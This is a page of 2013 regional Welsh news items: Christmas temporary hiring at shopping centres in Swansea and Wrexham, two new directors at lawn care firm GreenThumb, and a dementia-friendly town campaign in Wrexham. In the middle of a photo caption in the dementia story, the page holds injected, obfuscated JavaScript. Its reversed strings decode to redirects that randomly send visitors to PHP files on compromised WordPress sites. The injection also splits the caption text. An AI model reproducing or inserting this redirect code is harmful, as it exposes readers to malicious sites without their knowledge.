Category: News

Christmas jobs boost at in Swansea

quadrant christmas temp jobs 291113

The upturn in the economy, which is seeing people planning to spend more this Christmas, has led to 150 jobs being created at a Swansea shopping centre.

Retailers at the city’s Quadrant Shopping Centre are reporting an increase in trade and have taken on dozens of temporary staff to deal with the Christmas rush, with recruitment still going on.

And many say that some of the seasonal workers could be kept on permanently in the New Year, if trading continues to be positive.

The news follows a report from the British Chambers of Commerce (BCC) that companies across the UK saw sales and optimism jump in the third quarter of this year.

Questioning 7,400 companies, BCC said service firms saw UK sales and orders rise at the fastest pace since 2007, while rises for manufacturing were the sharpest since the early 1990s.

Quadrant Shopping Centre manager Ian Kirkpatrick said: “It’s great to see the centre busy, not just at weekends but also on weekdays and for our late evening openings.

“We are definitely seeing optimism from our retailers and there’s a real buzz about the Centre so it’s looking positive.

“The Quadrant already employs around 1500 staff and the news that we will be seeing another 150 new faces behind the tills at our stores over the next few weeks, through Christmas and into the New Year sales, is excellent – I certainly hope that some of them will become permanent members of our team here at the Quadrant.”

Clothes retailer USC will be tripling the 25-strong workforce at its store in the Quadrant’s St David’s Arcade, said deputy manager Antony Evans.

“We’ve taken on 35 temporary staff already and we are planning to recruit another 15 to cope with the demand this Christmas,” said Antony. “We need to be flexible and we find this is the best way, with plenty of part-time staff who prefer to work a variety of hours.

“Most are with us until the first week or so of the New Year, but we may be keeping some of them on after that.”

The store has seen a big increase in demand for its extensive range of premium designer branded jeans, clothing and footwear – with animal-themed “onesies” being this year’s big seller.

“Everybody seems to want a onesie, especially one with an animal theme. We can’t put them out fast enough. People want them to snuggle up in, now it’s getting colder, or to wear as a laugh, such as for the office Christmas party!”

Since September footwear retailer Schuh has taken on 16 temporary staff at its St Mary’s Arcade store in the Quadrant shopping centre to help the permanent team deal with the autumn and Christmas rush, said manager Kim White.

“The staff are doing a mix of hours, from three to 37 a week, which suits all of them. We’ve definitely seen an increase in trade lately – people are starting to shop again though they want the designer names but without the price tags,” she said.

Renewed interest in online and virtual reality game playing has lead Game to take on 13 part-time staff – with plans to keep at least one of them on permanently in the New Year, said Matt Nesling, deputy manager at the St Mary’s Arcade branch.

“It all kicked off with the new Grand Theft Auto game in September, that was a major retail event,” said Matt.

“Since then we’ve had the new Call of Duty game, plus the two new consoles from Microsoft and Sony, which has all helped.

“The great thing is that people aren’t just buying the consoles, they are coming back for more and more games. This is a great time for online gaming. “

Superdry, the label beloved by celebrities – with fashionistas tipping its windcheater as this season’s must-have – will be taking on 10 seasonal staff at its Wassail Square store, said manager James Kane.

“This is a time when we are usually busy, but the rush seems to have started sooner, there has been a sharp increase in footfall.

“I think people are definitely much more prepared to go out and start shopping again. Confidence in the economy is coming back, which is great for us,” added James.

Monday December 23rd, 2013

News

New directors spur more growth at lawn care franchise GreenThumb

GREEN THUMB ST ASAPH NEW BOARD MEMBERS. Pictured (front L/R) is Andrew Evans and Lesley Booth with Dave Griffiths and Steven Waring.

The UK’s leading lawn care company is planning for major expansion by strengthening its top team.

GreenThumb has appointed two new directors to the board as it prepares to take on its 500,000th customer in the next few months.

Andy Evans and Lesley Booth say it’s a huge honour to be asked to join the board of such a successful firm with an increasing turnover of £65 million and 225 franchises across the UK.

According to Managing Director David Griffiths, there is potential for a lot more growth which could result in the company seeing a tenfold increase in size.

GreenThumb are already way out in front as the market leader but even so they currently treat only two per cent of the UK’s lawns.

Mr Griffiths said: “We have a long way to go before we reach our potential in terms of the numbers.

“In America, for example, 25 per cent of their lawns are treated by firms like GreenThumb and that’s the level of coverage we aspire to.”

It’s been a meteoric rise for Andy Evans, 31, who joined GreenThumb just four years ago.

Andy, who previously worked for a window installation company and lives in Halkyn, near Holywell, recalled; “Joining GreenThumb has completely transformed my career.

“I always said that one day I would represent a company at a national level – and now my dream has come true.”

After starting with GreenThumb in 2009, Andy swiftly rose through the ranks, writing a company training manual and establishing a successful call centre operation along the way before being appointed Business Growth Manager.

In his new role as a director, Andy will have responsibility for GreenThumb’s sales and marketing across the UK.

He said: “I am grateful for the opportunity and I really appreciate the trust that’s been placed in me.

“To have somebody say I am exactly what’s needed for the business is such a big compliment.”

Lesley Booth, who lives in Kinmel Bay, was equally delighted to be appointed to the board of GreenThumb.

Her previous career saw her work in the photographic industry for High Street firms like Dixons and Colourcare before joining Littlewoods where she retrained as a Personal Assistant.

After relocating to North Wales, Lesley joined GreenThumb in 2005 as the Personal Assistant to Stephen Waring, the company’s founder. She later became Company Secretary and also worked as a PA to Managing Director David Griffiths.

As a director, she will be responsible for human resources, IT, site management and procurement

Lesley said: “I started at GreenThumb on a very few hours a week and was quite happy to do that as I wanted to reduce my working day and spend more time with my growing family.

“Gradually, my workload increased and the level of responsibility grew.

“Over the past two years I’ve acted as a director in an advisory capacity and working with the executive team on strategic matters.

“I have been honoured to work for Stephen Waring and I’m overwhelmed in the trust that he has put in me to do the job.

“I thoroughly enjoy working at GreenThumb, it’s a fantastic place to work.  The culture and ethics of this company are outstanding.”

Managing Director David Griffiths said Andy and Lesley had complementary qualities which would help the board of directors be even more effective.

He said: “Lesley has been a PA to Stephen for nearly nine years and for me for two years. She’s a very steady hand and understands the business very well.

“She’s also very honest and open about the way things should be done and she’s quick to spot if things are being done incorrectly. She’s a very capable, able hand on the tiller.

“Andy is a vibrant marketing man, quick with ideas, quick with thoughts, wanting to act on things immediately.

“So they actually counterbalance each other very well because Lesley’s steady and Andy’s creative. The chemistry is very good – you might say they are a dream team.

“They’re joining the board at a crucial time in GreenThumb’s history, it’s a period of growth with exciting plans for further expansion.

“We now have over 220 franchisees and our turnover has increased during the recession, about another 12 per cent to date this year.

“Moving forward, we believe there is immense potential for growth. We’ve got something like two per cent of the lawns in the UK that we treat.  In the States, lawn care companies treat up to 25 per cent of all lawns.

“If you were to follow an American model and there is no other one to follow, we could theoretically multiply our business by 10.  So we could ultimately become a company worth maybe £500 million.”

Monday December 23rd, 2013

News

Campaign to make Wrexham the first dementia-friendly town in Wales

Anita Moran and Chris Hodge representing Purple Angels promote Dementia Awareness in Wrexham with participating businesses displaying a sign in their window pictured with Bodondeb Care Home manager Ann Chapman and Proprie$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($Bhq(0), delay);}tor Mario Kreft

A campaign has been launched to turn Wrexham into the first dementia-friendly town in Wales.

The idea is being championed by the Pendine Park care organisation after it was suggested by a member of staff, activities and well-being coordinator Anita Moran.

The aim the Purple Angels campaign is to raise awareness with local shops and other businesses, providing them with a simple training manual so that they are better equipped to recognise the symptoms of dementia and respond accordingly.

Businesses that sign up to the scheme will then display posters and stickers with the Purple Angels logo to signify that they are dementia aware.

Pendine Park is a pioneer in dementia care and was recently recognised for the most outstanding dementia care innovation in the world in 2013 at the Globals, an international awards ceremony organised by the influential Over 50s Housing group.

Proprietor Mario Kreft MBE said: “We think the Purple Angels campaign is a brilliant idea and I am grateful to Anita for giving us the impetus.

“Through no fault of their own, a number of shopkeepers are ill-prepared to respond appropriately if they have to serve a person with dementia who may well be confused and difficult to deal with.

“We are very enthusiastic about the idea of turning Wrexham into the first properly dementia-friendly town in the UK.

“I was originally inspired to become involved in the care sector because of the trouble we had in finding suitable care home for my grandparents.

“My grandmother had Alizheimer’s so the Purple Angels campaign also has a personal resonance.”

Anita Moran, who works at Pendine Park’s Hillbury care home,  is the first person in Wales to become an ambassador the worldwide Purple Angel campaign.

Her colleague, Chris Hodge, who works as a teacher with Pendine Park’s in-house training company, Smartcare Teaching Care Centre, has now also become an ambassador.

Anita was inspired to join the Purple Angels campaign, which has spread to 79 countries, by the experience of her late father Barry.

She said: “My dad was actually sectioned under the Mental Health Act, and that was the first we knew that he had dementia.

“None of us had realised, we just thought he was getting older. We realised about four years ago. He went into a home and because he’d had it so long he was getting to the later stages by the time we found out. He just hid it so well.”

The truth dawned on Anita the day her late mother, Jean, had a heart attack.

Anita said: “My sister phoned the ambulance. She went to the hospital, and the next morning my sister went round to see my dad and he couldn’t remember where he was.

“He couldn’t remember the paramedics being there. He thought my mum had left him.

“My sister went off and came back and he’d disappeared. To this day we don’t know how, he got from Buckley to Wrexham with no money.

“Police helicopters were out looking for him. He was found wandering the streets of Wrexham. I think it was about 11 at night. We had to go to a police station to pick him up. He couldn’t remember anything.”

The campaign is being backed by Pendine Park which opened Bodlondeb, an award-winning £4 million centre of excellence for dementia care, in 2010.

Tracey Green, the Enrichment Project Leader at Pendine Park, also paid tribute to Anita’s role in getting things moving.

She said: “Pendine Park is now involved and is supporting the campaign. Obviously the more people that are involved the more scope there is to get the message out. It’s all snowballed from there.”

Dementia is a common condition that affects about 800,000 people in the UK.

It is a syndrome associated with an on-going decline of the brain and its abilities. This includes problems with, memory loss, thinking speed, mental agility, language, understanding and judgement.

Anita explained how the Purple Angel campaign works: “We are going round shops handing out the posters. We get the shops to agree to read this simple training, and we go back a week later and award a sticker saying the shop is dementia aware.  It’s that simple.

There are 21 shops in Wrexham who have the Purple Angel sign in their window so far.

Anita added: “If someone goes into a shop, and is for example having trouble with their money, the shopkeeper might think that person is drunk. There are hundreds of  things that they might think. But it could be dementia, so it’s just making them aware of that.

“The campaign will help everybody out there with dementia to have a better experience when they go out shopping. If there’s a Purple Angel in the window.

“If was caring for my dad and I wanted to go to a shop, I would go to one with a Purple Angel in the window because I know the staff there will be more dementia aware.

“The Wrexham area is my patch to start with but we’re spreading out.”

The Purple Angel dementia awareness campaign was started by Norman McNamara from Torquay who was diagnosed with dementia in 2008 at the age of 50.

Norman and his wife Elaine were instrumental in establishing the first dementia friendly community in the world.

Anita added: “The response to the Purple Angel campaign has been fantastic. It’s surprising, most people you meet,  whether its  their mum, their dad, their auntie, their uncle, their grand dad, they know someone who’s got dementia.

“It’s a cause close to my heat and a lot of other people’s, and I think that’s why it’s taking off the way it is.

“We’re not asking for anything. We’re not asking for money. All we ask is for five minutes of your time to read the poster and that’s it. And it has affected a lot of people.

To find out more about the Purple Angels campaign please visit http://www.purpleangel.org.uk/ or contact Anita Moran at Pendine Park on 01978 720242. 

Friday December 20th, 2013

News

Christmas comes early for jobseekers at Eagles Meadow shopping centre

EAGLES MEADOW BOOTS NEW MANAGER. Pictured is Jo Stringfellow who is the newly appointed Manager at Boots with Christmas Temp worker Jasmine Tulk.

A shopping centre has created nearly 100 new jobs in the run-up to Christmas – fuelled by the upturn in the economy.

Retailers at the Eagles Meadow shopping centre in Wrexham are reporting an increase in trade and have taken on dozens of temporary staff to deal with the festive rush.

It’s expected a number of the seasonal workers could be kept on permanently in the New Year.

The news follows a report from the British Chambers of Commerce (BCC) that companies across the UK saw sales and optimism jump in the third quarter of this year.

Questioning 7,400 companies, BCC said service firms saw UK sales and orders rise at the fastest pace since 2007, while rises for manufacturing were the sharpest since the early 1990s.

Eagles Meadow Manager Kevin Critchley said: “It’s great to see the centre busy, not just at weekends but also on weekdays and for our late evening openings.

“Eagles Meadow already employs around 1000 staff and the news that we will be seeing another 100 new faces behind the tills at our stores over the next few weeks, through Christmas and into the New Year sales, is excellent – I certainly hope that some of them will become permanent members of our team here at Eagles Meadow.”

Debenhams Operations Manager Karen Roberts revealed the store has employed nine new members of staff on temporary Christmas contracts.

She said: “There may well be an opportunity in the New Year to make some of these positions permanent we will be looking at staffing levels in January.

“We will be looking closely at those people filling the temporary Christmas positions to see how they fit into the store and whether they are particularly suited to the retail environment.

“Trade and footfall has undoubtedly picked up in recent weeks as the economic climate has improved. And that means it is even more important we were able to recruit new people albeit on temporary contracts.

“We are looking forward to a very busy Christmas trading period and I’m sure those people we have offered temporary contracts to will be kept busy!”

Boots have also employed a further seven temporary Christmas workers and will also look toward making some of those positions permanent contracts in the New Year.

Manager Jo Stringfellow, who started her career with Boots on a temporary Christmas contract a decade ago, has recruited seven new employees until the end of the festive season.

She said: “We will look closely at staffing levels in January and hopefully, some of these temporary contracts can become permanent. The staff we have taken on range in age from 16 up to people in the 50’s and beyond.

“We are expecting a particularly busy Christmas trading period and it will be a chance for the new employees to see what Boots can offer in what is a fast moving retail environment.

“Equally, it’s a chance for us to see what skills these new employees can bring to the business.”

Jasmine Tulk, 19, of Rhosddu, Wrexham landed one of the temporary Christmas contracts at the Eagles Meadow Boots store.

She said: “I have worked for Boots at the Chester store but moved, on a temporary contract, to the Eagles Meadow outlet.

“I wanted to move to the Eagles Meadow store as it’s my home town and the transport costs, just for getting to and from work, are so much cheaper for me here.

“Boots is a fantastic company to work for and I’m delighted to have had the opportunity to move to Eagles Meadow, even if it is on a temporary contract.”

And it isn’t just shops that have taken on new staff ahead of the busy festive period.

Eagles Meadow restaurant Frankie & Benny’s took on two new members of staff with the festive season in mind.

Manager, Peter Cross, says he needed more staff trained and up-to-speed for what he expects to be a very busy Christmas period.

He said: “I took on two new members of staff working one or two shifts a week with more in December. However, it’s no good me taking on new staff now, I had to think about it in September.

“It gets exceptionally busy and I need trained staff who can handle the pressure. Fortunately, I was able to offer Welsh speaking students Morgan Jones and Megan Williams a few shifts a week and then full-time work once they finish college for Christmas.”

He added: “We get a lot of Welsh speaking customers from Dolgellau, Bala and Porth Madog for example, and I believe it’s important they can speak Welsh with Welsh speaking staff when they are in a restaurant in Wales.

“Of course staff aren’t just for Christmas, we will always be loyal when it comes to our workers and if we can help people who want more shifts at busy times we will always try and help.”

He said: “It’s certainly has all the hallmarks of an exceptionally busy Christmas period. I have noticed an upsurge in the volume of people out shopping in Eagles Meadow.

“And that means we are getting some very busy lunchtimes while events like the Doctor Who special and the release of several top films means we are busy during the evenings too. It certainly looks like this will be one of our busiest Christmases yet.”

Thursday December 19th, 2013

News